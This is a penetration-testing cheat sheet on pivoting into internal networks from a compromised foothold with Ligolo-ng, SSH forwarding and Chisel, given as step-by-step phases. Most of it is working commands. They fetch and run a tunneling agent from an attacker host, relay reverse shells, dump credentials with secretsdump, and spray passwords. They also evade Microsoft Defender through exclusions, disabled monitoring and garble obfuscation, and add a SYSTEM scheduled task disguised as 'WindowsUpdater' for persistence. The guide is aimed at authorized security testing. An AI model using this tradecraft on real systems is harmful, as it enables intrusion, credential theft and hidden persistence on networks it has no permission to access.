Pivoting & Tunneling
| Component | Runs on | Purpose |
|---|---|---|
proxy | Attacker | The proxy manages the TUN interface, routes, and sessions. |
agent | Pivot host | The agent connects to the proxy over TLS. The agent forwards traffic. |
Cheatsheet
Ligolo-ng (primary)
# Download latest proxy + agents from https://github.com/nicocha30/ligolo-ng/releases
# Attack box: create TUN (once per session)
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
# Ligolo-ng >= 0.6 (from the proxy shell):
# ligolo-ng » interface_create --name ligolo
# Attack box: start proxy
./proxy -selfcert -laddr 0.0.0.0:11601
# Prefer fingerprint in real engagements (print from proxy shell):
# ligolo-ng » certificate_fingerprint
# Pivot: connect agent back to attack box
./agent -connect <LHOST>:11601 -ignore-cert
nohup ./agent -connect <LHOST>:11601 -ignore-cert >/dev/null 2>&1 & # survives logout
# ./agent -connect <LHOST>:11601 -accept-fingerprint <FINGERPRINT>
# In ligolo-ng shell after agent joins
# session
#autoroute (autorouting)
# ifconfig
# tunnel_start --tun ligolo
# autoroute
# interface_add_route --name ligolo --route <SUBNET>/24 # >= 0.6
# Attack box route (if not using interface_add_route / autoroute)
sudo ip route add <SUBNET>/24 dev ligolo
# Native tools through the TUN. Do not use proxychains.
nmap -sT -Pn -p 22,80,135,139,445,3389 <SUBNET>/24
nxc smb <SUBNET>/24 -u <USER> -p <PASS>
evil-winrm -i <INTERNAL_IP> -u <USER> -p '<PASS>'
# Double pivot: listener on hop1 relays second agent to your proxy
# [Agent : pivot1] » listener_add --addr 0.0.0.0:11601 --to 127.0.0.1:11601 --tcp
# On pivot2: agent -connect <PIVOT1_IP>:11601 -ignore-cert
# Receive reverse shells from hosts that can reach only the pivot
# [Agent : pivot] » listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444 --tcp
# listener_list / listener_del --id <ID> # older: listener_stop <ID>
# Cleanup on attack box
sudo ip route del <SUBNET>/24 dev ligolo
sudo ip link set ligolo down
sudo ip tuntap del mode tun ligolo# Windows pivot : run agent (hidden)
Start-Process -WindowStyle Hidden -FilePath "C:\Users\Public\agent.exe" `
-ArgumentList "-connect <LHOST>:11601 -ignore-cert"Fallback: SSH dynamic / local / remote forward
# Dynamic SOCKS then proxychains
ssh -D 9050 <USER>@<TARGET_IP>
# /etc/proxychains.conf -> socks5 127.0.0.1 9050
proxychains nmap -sT -Pn -p445,3389 <INTERNAL_IP>
# Local forward: bring pivot's localhost service to attack box
ssh -L 1234:localhost:3306 <USER>@<TARGET_IP>
# Remote forward: receive a reverse shell from an internal host through the pivot
ssh -R 8080:localhost:<LPORT> <USER>@<TARGET_IP>
# Payload LHOST = pivot internal IP, LPORT = 8080
# Multi-hop when you already have keys
sshuttle -r <USER>@<TARGET_IP> <SUBNET>/24Fallback: Chisel SOCKS
# Attack box listens (egress from pivot often easier)
./chisel server --reverse -p 1234 --socks5
# Pivot connects reverse SOCKS
./chisel client <LHOST>:1234 R:socks
# proxychains.conf -> socks5 127.0.0.1 1080Methodology
Phase 0: Orientation : is this a pivot?
Ask yourself
- How many NICs does this foothold have? Which subnets connect to those NICs?
- What does the routing table say I can reach that my attack box cannot?
- Can this host send traffic to
<LHOST>on a usable port (11601, 443, 80, 22)? - Do I have enough privilege to copy a binary? Can I keep a process running?
- Is Ligolo-ng viable? Or am I limited to SSH only, or to no binary?
- What evidence do I need before I add routes (subnet, gateway, dual-home proof)?
# Linux foothold who / where / reachability
id; hostname; cat /etc/os-release
ip -br a; ip route; cat /etc/resolv.conf
ss -tulnp 2>/dev/null || netstat -tulnp
# Windows foothold
# whoami /all
# ipconfig /all
# route print
# netstat -ano- Confirm identity and privilege on the foothold (
id/whoami /all). - List NICs. Note every non-loopback subnet (
ip a/ipconfig /all). - Read the routing table. Document the internal ranges you can reach.
- Test traffic from the pivot to
<LHOST>(common ports: 443, 80, 11601, 22). - Choose a path: Ligolo-ng (binary and egress) → Phase 1. SSH only → Phase 5. No binary or unusual egress → Chisel or SSH remote forward.
- Draw the topology (attack box → pivot → internal) before you start a tunnel.
Phase 1: Start the Ligolo-ng proxy
Ask yourself
- Do I have matching proxy and agent binaries for the pivot OS and architecture (Linux or Windows, AMD64 or ARM)?
- Does the proxy listen on an interface and port that the pivot can reach?
- Do I use
-selfcert(labs) or a real certificate / fingerprint (engagements)? - Does the TUN interface exist before I expect traffic to flow?
- Will another process use port 11601?
- Which file-transfer method will copy the agent to the pivot?
# Proxy on attack box
./proxy -selfcert -laddr 0.0.0.0:11601
# Print fingerprint for agent pinning (engagements)
# ligolo-ng » certificate_fingerprint
# TUN pick one approach
sudo ip tuntap add user $(whoami) mode tun ligolo && sudo ip link set ligolo up
# OR (>= 0.6 inside proxy shell): interface_create --name ligolo
ip addr show ligolo # present, no IP yet
# OR
# ligolo-ng » autoroute- Download matching proxy and agent builds for the pivot OS and architecture.
- Create the
ligoloTUN interface and start it. Confirm withip addr show ligolo. - Start
./proxy -selfcert -laddr 0.0.0.0:11601(or-certfile/-keyfilein production-like labs). - Record the TLS fingerprint if the agent does not use
-ignore-cert. - Leave the
ligolo-ng »shell open. You manage sessions in this shell. - If bind fails (
address already in use), stop the old proxy or change-laddr.
Phase 2: Deploy the agent and open the tunnel
Ask yourself
- Which transfer method matches this foothold and OPSEC budget?
- On Windows, will Defender flag the stock binary? Do I need garble, an exclusion, or a C2 load?
- Did the agent join (
Agent joined)? Or did it stop with no message (AV, path, egress)? - Should the agent run in the foreground (debug) or in the background (continues after logout)?
- Which agent interface is the internal path I need?
- Did I add the route before I expect tools to work?
- Do I use
-sT -Pnfor nmap through the TUN? SYN scans fail through the TUN.
# Serve agent from attack box
cd ~/tools/ligolo && python3 -m http.server 8000
# Linux pivot
wget http://<LHOST>:8000/agent -O /tmp/agent && chmod +x /tmp/agent
nohup /tmp/agent -connect <LHOST>:11601 -ignore-cert >/dev/null 2>&1 &# Windows pivot. Defender often flags stock agent.exe
iwr http://<LHOST>:8000/agent.exe -OutFile C:\Users\Public\agent.exe
# Older Windows:
# certutil -urlcache -f http://<LHOST>:8000/agent.exe C:\Users\Public\agent.exe
C:\Users\Public\agent.exe -connect <LHOST>:11601 -ignore-cert
# Hidden (no console):
# Start-Process -WindowStyle Hidden -FilePath "C:\Users\Public\agent.exe" `
# -ArgumentList "-connect <LHOST>:11601 -ignore-cert"# ligolo-ng shell workflow
ligolo-ng » session
[Agent] » ifconfig
[Agent] » tunnel_start --tun ligolo # older builds: start
# route (>= 0.6):
ligolo-ng » interface_add_route --name ligolo --route <SUBNET>/24
# or manual:
# sudo ip route add <SUBNET>/24 dev ligolo- Copy the matching agent binary to the pivot (file transfers).
- On Windows: decide Defender exclusion, rebuild with garble, or load via C2 (depends on RoE).
- Start the agent with target
<LHOST>:11601. ConfirmAgent joinedin the proxy. - Prefer background (
nohup/ hiddenStart-Process) so the agent continues after logout. - Select the session. Run
ifconfig. Identify the internal subnet(s). - Add a route for each internal subnet on the
ligolointerface. - Run
tunnel_start --tun ligolo(orstarton older builds). - Test one host (
nmap -sT -Pn -p <PORT> <INTERNAL_IP>). Then scan a wider range.
The Ligolo-ng TUN does not support -sS (SYN scan). Always use -sT (full TCP connect) and -Pn (skip ICMP) when you run nmap through the tunnel.
Phase 3: Enumerate and operate through the pivot
Ask yourself
- Which hosts on the new subnet respond? Which services matter for the objective?
- Can I reuse credentials that I already collected against these hosts?
- Does DNS resolve internal names? Or must I use IPs /
--dns-servers? - Which findings create a second hop (another dual-homed host)?
- Do I log every route, listener, and command for the report?
# Host/service discovery through TUN
nmap -sT -Pn -p 22,80,88,135,139,445,389,636,3389,5985 <SUBNET>/24
# Cred reuse / AD surface
nxc smb <SUBNET>/24 -u <USER> -p <PASS> --shares
nxc winrm <INTERNAL_IP> -u <USER> -p <PASS>
evil-winrm -i <INTERNAL_IP> -u <USER> -p '<PASS>'
impacket-secretsdump '<DOMAIN>/<USER>:<PASS>@<INTERNAL_IP>'- Map live hosts and high-value ports on the new subnet.
- Reuse or spray known credentials before brute force. Record every valid authentication for later hosts.
- Prefer IPs if internal DNS fails. Else use
nmap --dns-servers <INTERNAL_DNS>. - Treat every new dual-homed host as a candidate for Phase 4.
- Capture screenshots or output of the live tunnel and the first successful internal connection. Use this for reporting.
Phase 4: Double pivot and reverse listeners
Ask yourself
- Can hop1 reach hop2? Can hop2 reach the deeper subnet I need?
- Must hop2’s agent connect to hop1’s listener, not directly to Kali?
- Do I need a listener for second agents, for reverse shells, or both?
- Is there a simpler path (credential reuse, RDP, WinRM) that avoids a double pivot?
- Did I add the new route after the second session is live?
# Hop1 already tunneled. Relay proxy port through hop1:
[Agent : pivot1] » listener_add --addr 0.0.0.0:11601 --to 127.0.0.1:11601 --tcp
# Hop2 agent connects to pivot1, not to Kali
# ./agent -connect <PIVOT1_IP>:11601 -ignore-cert
# Switch session → ifconfig → route deep subnet → tunnel_start
# listener_list / listener_del --id <ID>
# Receive a reverse shell: internal host → pivot:4444 → Kali:4444
# [Agent : pivot] » listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444 --tcp- Confirm hop1 can open a TCP connection to hop2 on the agent port you choose.
- Run
listener_addon hop1. Forward traffic to local proxy port11601. - Copy the agent to hop2 through the existing tunnel. Run it with target
<PIVOT1_IP>:<LISTEN_PORT>. - Select the new session. Add the deep subnet route. Start that tunnel.
- For reverse shells from hosts that only reach the pivot, add a listener to
<LPORT>on Kali. - Remove dead listeners (
listener_list→listener_del) so ports do not conflict.
Phase 5: Fallbacks when Ligolo-ng is not an option
Ask yourself
- Is SSH available with a usable account? Are dynamic, local, or remote forwards enough?
- Can the pivot send outbound HTTP for a Chisel reverse SOCKS when it cannot receive inbound traffic?
- Am I limited to proxychains (
-sTonly)? Do I accept the speed and noise trade-off? - Do I need a full subnet route, or only one
-L/-Rforward for a single service?
# SSH dynamic SOCKS
ssh -D 9050 <USER>@<TARGET_IP>
proxychains nmap -sT -Pn -p445 <INTERNAL_IP>
# SSH local forward (one service)
ssh -L 1234:localhost:3306 <USER>@<TARGET_IP>
# SSH remote forward (callback via pivot)
ssh -R 8080:localhost:<LPORT> <USER>@<TARGET_IP>
# Chisel reverse SOCKS (pivot egress to you)
./chisel server --reverse -p 1234 --socks5 # on <LHOST>
./chisel client <LHOST>:1234 R:socks # on pivot
# proxychains.conf: socks5 127.0.0.1 1080- Prefer the smallest forward that meets the objective. A single
-Lis enough when you only need MySQL. - For subnet-wide access without Ligolo, use SSH
-Dor ChiselR:sockswith proxychains. - Proxychains requires full-connect scans (
nmap -sT -Pn). Do not use half-open SYN scans. - If SSH and binary copies both fail, reassess the foothold (web-shell limits, AppLocker, no egress).
Phase 6: Cleanup
Ask yourself
- Did I remove all agent binaries from compromised hosts?
- Did I remove all routes and TUN interfaces on my attacker box?
- Did I stop background agent processes on every pivot?
- Did I document the subnets, sessions, and routes used for the report?
# On Kali remove routes and TUN
sudo ip route del <SUBNET>/24 dev ligolo
sudo ip link set ligolo down
sudo ip tuntap del mode tun ligolo- Stop agent processes on all pivot hosts.
- Remove agent binaries from all pivot hosts.
- Remove routes on the attacker box. Remove the TUN interface.
- Remove any scheduled tasks or persistence created for the agent.
- Document the pivot chain, the subnets you reached, and the evidence you gathered.
How It Works
Pivoting uses a host that sits on both sides of a network boundary. That host is a dual-homed jump host, also called a beachhead. You send traffic through that host to reach the other side.
Tunneling wraps your tool traffic inside a protocol that the pivot already uses. Ligolo uses TLS. SSH uses SSH. Chisel uses HTTP.
Lateral movement is the next step: you authenticate to the hosts you can now reach. Pivoting only creates the path.
Ligolo-ng creates a TLS tunnel between the agent on the pivot and the proxy on the attacker. The proxy exposes a TUN device. When you add a subnet route to that TUN, the kernel sends packets into the TUN. The proxy encapsulates the packets over TLS. The agent forwards the packets onto the internal network. Return traffic follows the same path in reverse.
This is why Ligolo is usually faster and has less friction than SOCKS-based tools. Every TCP or UDP application uses normal sockets. You do not wrap each application.
SSH -D creates a SOCKS listener on the attack box. Applications must speak SOCKS, or you force them through proxychains. SSH -L and -R map individual ports. Chisel carries a SOCKS channel over HTTP-like framing. Use Chisel when the pivot can send only outbound HTTP.
Reference
Ligolo-ng decision matrix
| Situation | Action |
|---|---|
| Dual-homed Linux or Windows, binary OK, egress to you | Ligolo-ng TUN and route |
| Need a second hop behind the first pivot | listener_add on hop1 → agent on hop2 |
| Internal host can reach only the pivot, not Kali | Listener on pivot → Kali <LPORT> |
| SSH credentials only, no binary copy | ssh -D / -L / -R / sshuttle |
| Inbound to pivot blocked, outbound HTTP OK | Chisel server --reverse + R:socks |
| One localhost service on the pivot | ssh -L or Ligolo listener and not a full TUN |
Ligolo-ng troubleshooting
| Problem | Likely cause | Fix |
|---|---|---|
Cannot find device "ligolo" | TUN missing | ip tuntap add / interface_create |
| Tunnel is up. There is no traffic. | Route missing | ip route add <SUBNET> dev ligolo or interface_add_route |
| nmap all filtered | -sS through TUN | Use -sT -Pn |
| Agent stops on logout | Foreground process | nohup / tmux / hidden Start-Process |
Defender stops agent.exe | Signature | Rebuild with garble. Confirm RoE for exclusions. |
| Slow throughput | MTU mismatch | Add -mtu 1500 to agent |
bind: address already in use | Stale proxy | pkill proxy or change port |
| DNS names fail | Resolver not pivoted | Use IPs or --dns-servers <INTERNAL_DNS> |
Windows agent AV / OPSEC
Defender often flags the stock agent.exe. Options, in increasing OPSEC cost:
| Method | Access required | Notes |
|---|---|---|
| Lab/CTF Defender off | None | N/A |
Add-MpPreference -ExclusionPath | Local admin | Logged. May alert SOC. |
Set-MpPreference -DisableRealtimeMonitoring $true | Local admin | Highly visible last resort |
Build from source with garble | Build environment | Evades static signatures |
| Reflective loader / C2 injection | Existing C2 | Best OPSEC |
# Custom Windows agent build (engagement OPSEC)
git clone https://github.com/nicocha30/ligolo-ng
cd ligolo-ng
go install mvdan.cc/garble@latest
GOOS=windows GOARCH=amd64 garble -literals -tiny build -o agent.exe ./cmd/agentEngagement persistence (Windows)
Register the agent as a scheduled task only when RoE allows persistence:
schtasks /create /tn "WindowsUpdater" /tr "C:\Users\Public\agent.exe -connect <LHOST>:11601 -ignore-cert" /sc onstart /ru SYSTEM /fUse persistence only within scope and Rules of Engagement. Remove all persistence artifacts during cleanup.
Nmap through Ligolo-ng
nmap -sT -Pn -p <PORTS> <TARGET_IP>
# -sT full TCP connect (required)
# -Pn skip host discovery (ICMP unreliable through TUN)
# --dns-servers <INTERNAL_DNS_IP> when you need internal name resolutionSSH quick patterns
| Goal | Command shape |
|---|---|
| Local service to Kali | ssh -L <LPORT>:localhost:<RPORT> user@pivot |
| Dynamic SOCKS | ssh -D 9050 user@pivot |
| Receive a shell through the pivot | ssh -R <PIVOT_PORT>:localhost:<LPORT> user@pivot |
| Whole subnet (Linux pivot) | sshuttle -r user@pivot <SUBNET>/24 |
Chisel reverse SOCKS (when you cannot start Ligolo)
Run the server on the attack box with --reverse. The pivot connects outbound. Point proxychains at 127.0.0.1:1080. Use -sT -Pn, as you do with SSH SOCKS.